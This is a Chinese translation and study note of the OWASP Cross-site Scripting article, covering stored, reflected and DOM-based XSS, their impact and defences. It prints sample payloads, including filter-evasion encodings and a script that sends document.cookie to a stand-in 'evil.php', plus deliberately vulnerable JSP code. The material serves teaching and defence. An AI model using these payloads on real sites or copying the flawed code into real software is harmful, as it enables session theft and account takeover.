Cross-site Scripting (XSS) 阅读笔记
本文源自 https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29
通過閱讀和翻譯,并按照自己的理解,整理成如下文檔。
概述
XSS攻擊是一種注入, 通過這種攻擊,惡意腳本被注入到被信任的網站里。
XSS攻擊的表現是,攻擊者使用web應用的缺陷,發送惡意代碼到另外一個不同用戶, 一般是以瀏覽器端腳本的形式發送。
這種使得攻擊成功的缺陷是相當廣泛的,并存在于這種web應用中, 應用使用用戶輸入數據,放到網站輸出的響應中,但是沒有對輸出的用戶輸入數據 進行 校驗 和 安全性轉碼。
瀏覽器收到帶有惡意腳本的HTTP響應, 但是其沒有辦法確定惡意腳本是不可信的,因為此響應來自可信任的網站,
所以瀏覽器會執行惡意腳本, 這些惡意腳本可以訪問 cookie、會話token、和其他敏感信息,它們都被瀏覽器端保存,在此網站中被使用。惡意腳本甚至可以重寫 HTML頁面內容。
更多不同類型的XSS缺陷的詳細信息, 見 https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting
相關安全活動
如何避免XSS缺陷?
參考 XSS (Cross Site Scripting) Prevention Cheat Sheet
參考 DOM based XSS Prevention Cheat Sheet
參考 OWASP Development Guide article on Phishing.(fishing 防釣魚)
參考 OWASP Development Guide article on Data Validation. (數據校驗)
針對XSS缺陷如何進行代碼審查?
參考 OWASP Code Review Guide article on Reviewing Code for Cross-site scripting Vulnerabilities.
針對XSS缺陷如何測試?
參考OWASP測試指南文檔中關于 如何測試各種類型的XSS缺陷。
- Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001)
- Testing_for_Stored_Cross_site_scripting_(OWASP-DV-002)
- Testing_for_DOM-based_Cross_site_scripting_(OWASP-DV-003)
XSS描述
XSS攻擊發生,當下面條件成立:
1、 數據輸入到web應用中, 通過非可信的手段, 最常見的是web請求。
2、 數據被輸出到動態網頁內容中, 網頁內容會被發送到web用戶, 缺少對惡意內容的校驗。
惡意內容通常形式為 javascript、HTML、flash 和任何瀏覽器可以執行的其他代碼。
基于XSS攻擊的形式幾乎無窮,但是通常包括:
1、 發送私密數據給攻擊者,例如cookie和會話信息。
2、 重定向到攻擊者控制的網站頁面上。
3、 以缺陷網站的幌子,在用戶機器上執行其它惡意操作。
存儲型和反射型XSS攻擊
XSS攻擊一般被分為兩類: 存儲型 和 反射型。 還有一類很不知名的XSS攻擊類型, 被稱為DOM Based attack,此處分開討論 https://www.owasp.org/index.php/DOM_Based_XSS。
存儲型XSS攻擊
Stored XSS攻擊,將惡意代碼注入到目標服務器上,并永久保存,保存位置例如 數據庫、 消息論壇、訪問者日志、評論區域、等等。
受害者請求一些存儲類型的信息, 同時也獲取了保存惡意代碼。
Stored XSS有時候被稱為 Persistent or Type-I XSS.
反射型XSS攻擊
Reflected XSS攻擊,被注入的惡意代碼從服務器反射回來,存于錯誤信息,搜索結果,和任何其它的響應,這些響應包括部分或者全部的輸入,這個輸入作為請求報文的部分,發往服務器。
反射型攻擊發布到受害者是通過另外一個途徑, 在email消息中, 或者在其他網站上。
如果受害者被欺騙點擊了 一個惡意鏈接, 提交一個惡意構造的表單,或者甚至瀏覽惡意網站,
被注入代碼到達缺陷的網站,網站將惡意代碼反射回用戶瀏覽器,瀏覽器執行惡意代碼, 因為其實從可信的網站獲取,
反射型XSS攻擊,又稱為 Non-Persistent or Type-II XSS
其它類型的XSS缺陷
除了反射型和存儲型XSS攻擊, 還有一種攻擊方式 DOM based XSS,被這個人識別 Amit Klein in 2005
OWASP推薦使用如下分類:Types of Cross-Site Scripting
XSS攻擊后果
XSS攻擊的后果是一樣的,與攻擊的方式是 存儲 反射 還是 DOM based無關, 攻擊方式的區別是 有效荷載怎么到達服務器端。
不要誤以為只有只讀內容的網站沒有反射性XSS攻擊的缺陷。
XSS攻擊可以對最終用戶造成多種問題,從煩人的惡作劇 到 威脅賬戶安全。
最常見的XSS嚴重的攻擊包括 泄露用戶的會話cookie,允許攻擊者劫持用戶會話,并接管賬戶。
其他危害性攻擊包括 泄露最終用戶文件,安裝特洛伊木馬程序,重定向用戶到其它頁面或者網站,修改網頁的內容展示。
XSS缺陷允許攻擊者修改通訊稿和新聞條目,影響公司股價,削弱消費者信心。
要是藥品網站有XSS,攻擊者可以修改藥品的用量, 會導致患者過量服用。
更多這種類型的攻擊,見Content_Spoofing.
怎樣確定網站是否有缺陷?
XSS漏洞難于確定,并從網站中去除。最好的方法是執行安全代碼審查,并搜索所有的地方,這些地地方將請求中的輸入輸出到HTML中。注意有各種各樣的HTML標簽可以用來傳送javascript 惡意代碼。
Nessus Nikto 和其它的現成的工具可以幫助掃描出 這些漏洞,但是也僅僅是找到表面,如果網站的一個部分有此問題,意味著很有可能也有其它問題。
如何保護我們的網站?
主要的XSS防御見此鏈接內描述 OWASP XSS Prevention Cheat Sheet.
除此之外,也需要關注的:
關閉web服務器的 http trace功能至關重要。 此功能可以泄露cookie的會話信息。
?
OWASP ESAPI project 產生了一個安全組件集合,實現了幾種語言,包括校驗和轉碼方法,防止參數篡改和XSS攻擊注入。
OWASP WebGoat Project有XSS和數據轉碼教程。
?
不同的XSS語法
在屬性使用使用腳本的XSS攻擊
不使用<script></script>標簽也能實施XSS攻擊。 其他標簽頁可以準確地做相同的事情,例如
<body οnlοad=alert('test1')>或者其它的屬性,例如 onmouseover, onerror
<b οnmοuseοver=alert('Wufff!')>click me!</b> <img src="http://url.to.file.which/not.exist" οnerrοr=alert(document.cookie);>?
通過Encoded URI方案實施javascript類型的XSS攻擊
如果需要隱藏掉XSS攻擊,以防止web應用過濾器檢查出來, 可以對字符串中的字符進行轉碼。
e.g.: a=A (UTF-8) 使用在IMG標簽為
<IMG SRC=jAvascript:alert('test2')>存在多種不同的UTF-8轉碼寫法,給了我們更多的可能。
?
使用 code encoding 實現XSS攻擊
可以編碼惡意腳本為base64碼, 并放到 META 標簽中。
這種方法完全去除了 alert 方法,此方法的更多信息 見 RFC 2397
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">?
這類和其它的例子見 OWASP XSS Filter Evasion Cheat Sheet,這著實是一個XSS攻擊不同語法的百科全書。
?
例子
XSS攻擊發生,如果惡意用戶發送未經管制的內容到可信的網站上, 為了是消遣其它合法用戶。
例子1
下面的JSP代碼例子,讀取請求總的雇員ID號,并輸出給用戶
<% String eid = request.getParameter("eid");?%> ...Employee ID: <%= eid?%>?
如果請求中的eid為數字,則沒有問題,
如果請求中的eid為惡意代碼, 則瀏覽器會執行。
最初你可能以為沒有什么安全問題,不可能會有那個用戶在URL中輸入惡意腳本,然后自己請求此URL。
但是如果惡意攻擊者, 構造了這么一個URL, 并通過email或者社交網絡發送給其他人這么一條鏈接, 接受者如果點擊此鏈接用戶就變成受害者,惡意代碼從服務器端反射回來,作為響應中的內容,在瀏覽器中被執行。
這就是 反射型 XSS攻擊。
?
例子2
下面的JSP代碼從數據庫中按照雇員ID查詢,并打印出雇員的姓名
<%... Statement stmt = conn.createStatement();ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);if (rs?!= null) {rs.next(); String name = rs.getString("name");%>Employee Name: <%= name?%>?
此段代碼看似出現XSS攻擊的
可能性小, 因為雇員名稱是從數據庫中取出的,
此參數是受到應用程序控制的,應該是可信的。
但是如果, 此參數使用客戶端發送過來,并存儲到數據庫中,且在存入數據庫中沒有經過XSS攻擊字符串合法性校驗,
則仍然會導致XSS攻擊。這就是 存儲型 XSS攻擊。
這種攻擊更加具有潛伏性, 并且增加了影響多個用戶的可能性。例如, web站點提供了guestbook數目, 攻擊者在此條目中注入了惡意代碼, 后面所有訪問guestbook的用戶都會執行惡意代碼。
?
如上所展示, XSS缺陷是由于HTTP響應中包含了缺少校驗的代碼, 存在三種途徑XSS攻擊到受害者:
1、 數據直接從HTTP請求中讀取,并反射到HTTP響應中。Reflected XSS
2、 應用存儲危險的數據在數據庫或者數據倉庫中, 隨后被讀回應用,并插入到動態內容中。Stored XSS
3、 同2,只不過是應用外的 其他源存儲數據, 同樣被此應用讀取放到動態內容中。
?
攻擊例子
例子1 cookie奪取
如果應用沒有對輸入進行校驗, 則攻擊者很容易從認證過的用戶盜取cookie,
所有攻擊者的幾乎必做的是, 將下面代碼填入 任何輸入控件(留言板 、 私信和用戶檔案)
<SCRIPT type="text/javascript"> var adr = '../evil.php?cakemonster=' + escape(document.cookie); </SCRIPT>上面的腳本將用戶的cookie轉義后, 發送到evil.php腳本, 攻擊者會檢查evil.php結果。 一般黑客做法是將其寫入文件。
?
例子2 錯誤頁面
假設有一個錯誤頁面, 專門用于處理請求不存在的頁面, 就是一個經典的404頁面, 此頁面會告訴用戶 所請求的 URL是不存在的。
<html> <body><? php print "Not found: " . urldecode($_SERVER["REQUEST_URI"]); ?></body> </html>如果請求如下URL
http://testsite.test/file_which_not_exist響應是
Not found: /file_which_not_exist強迫404頁面包括我們的 惡意代碼
http://testsite.test/<script>alert("TEST");</script>
響應
Not found: / (but with JavaScript code <script>alert("TEST")?
我們已經成功注入惡意代碼, 這意味著什么, 我們可以利用此漏洞竊取用戶的會話cookie
?
?
Related Attacks
- XSS Attacks
- Category:Injection Attack
- Invoking untrusted mobile code
- Cross Site History Manipulation (XSHM)
Related Vulnerabilities
- Category:Input Validation Vulnerability
- Cross Site Scripting Flaw
- Types of Cross-Site Scripting
Related Controls
- Category:Input Validation
- HTML Entity Encoding
- Output Validation
- Canonicalization
References
- OWASP's XSS (Cross Site Scripting) Prevention Cheat Sheet
- OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: Data Validation
- OWASP Testing Guide, Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001)
- OWASP Testing Guide, Testing_for_Stored_Cross_site_scripting_(OWASP-DV-002)
- OWASP Testing Guide, Testing_for_DOM-based_Cross_site_scripting_(OWASP-DV-003)
- OWASP's How to Build an HTTP Request Validation Engine (J2EE validation using OWASP's Stinger)
- Google Code Best Practice Guide: http://code.google.com/p/doctype/wiki/ArticlesXSS
- The Cross Site Scripting FAQ: http://www.cgisecurity.com/articles/xss-faq.shtml
- OWASP XSS Filter Evasion Cheat Sheet
- CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html
- CERT “Understanding Malicious Content Mitigation” http://www.cert.org/tech_tips/malicious_code_mitigation.html
- Understanding the cause and effect of CSS Vulnerabilities: http://www.technicalinfo.net/papers/CSS.html
- XSSed - Cross-Site Scripting (XSS) Information and Mirror Archive of Vulnerable Websites http://www.xssed.com
?
轉載于:https://www.cnblogs.com/lightsong/p/4297677.html
總結
以上是生活随笔為你收集整理的Cross-site Scripting (XSS) 阅读笔记的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: NOIP2001-普及组复赛-第一题-数
- 下一篇: POJ 1159